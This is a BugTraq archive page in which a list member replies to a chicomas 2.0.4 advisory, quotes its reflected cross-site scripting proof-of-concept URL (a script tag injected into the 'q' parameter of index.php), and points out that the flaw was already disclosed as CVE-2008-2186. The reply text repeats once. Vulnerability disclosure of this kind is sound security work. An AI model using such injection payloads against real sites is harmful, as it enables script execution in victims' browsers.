BugTraq
Back to list
|
Post reply
chicomas <=2.0.4 Multiple Vulnerabilities
Dec 20 2008 07:25AM
admin bugreport ir
(1 replies)
Re: chicomas <=2.0.4 Multiple Vulnerabilities
Dec 20 2008 08:55PM
security curmudgeon (jericho attrition org)
On Sat, 20 Dec 2008, admin (at) bugreport (dot) ir [email concealed] wrote:
: +-->Cross Site Scripting (XSS). Reflected XSS attack in "index.php" in "q"
: parameter.
:
: POC:
: http://[URL]/chicomas/index.php?q="<script>alert(/www.BugReport.ir/.sour
ce)</script>
This was disclosed on May 5th [1] by Hadi Kiamarsi and was assigned BID
29025 / CVE-2008-2186 / OSVDB 44809.
- jericho
[1] http://marc.info/?l=bugtraq&m=120975560407192&w=2
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
On Sat, 20 Dec 2008, admin (at) bugreport (dot) ir [email concealed] wrote:
: +-->Cross Site Scripting (XSS). Reflected XSS attack in "index.php" in "q"
: parameter.
:
: POC:
: http://[URL]/chicomas/index.php?q="<script>alert(/www.BugReport.ir/.sour
ce)</script>
This was disclosed on May 5th [1] by Hadi Kiamarsi and was assigned BID
29025 / CVE-2008-2186 / OSVDB 44809.
- jericho
[1] http://marc.info/?l=bugtraq&m=120975560407192&w=2
[ reply ]